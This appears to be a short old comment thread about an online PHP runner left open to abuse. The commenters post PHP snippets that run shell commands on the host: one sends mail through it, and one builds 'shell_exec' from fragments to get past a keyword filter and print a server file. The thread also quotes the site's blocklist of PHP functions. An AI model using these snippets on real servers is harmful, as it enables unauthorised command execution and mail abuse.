3 ms·
Sweet, an open mail relay: <?php echo `echo 'hello' | mail -s Hello darth.vader@yahright.com`; ?>
by jawngee 17y ago
Sweet, an open mail relay:
<?php
echo `echo 'hello' | mail -s Hello darth.vader@yahright.com`;
?>
- aaroneous 17y agoLooks like they left a few other things open too =X
- jkkramer 17y agoPoor guy didn't think this through very well... <?php $fn = "shel" . "l_exe" . "c"; echo nl2br(htmlentities($fn("cat response.php"))); ?>
- colonelxc 17y agoOnly "security" is this array of items which are regexed out of whatever you submit (and as you pointed out, completely fail to even prevent those functions from being called. $replace = array('<?php', '?>', '<?', 'mkdir', 'eval', 'exec', 'copy', 'move', 'curl', 'passthru', 'system', 'popen', 'proc_close', 'proc_open', 'proc_ terminate', 'proc_nice', 'shell', 'dl');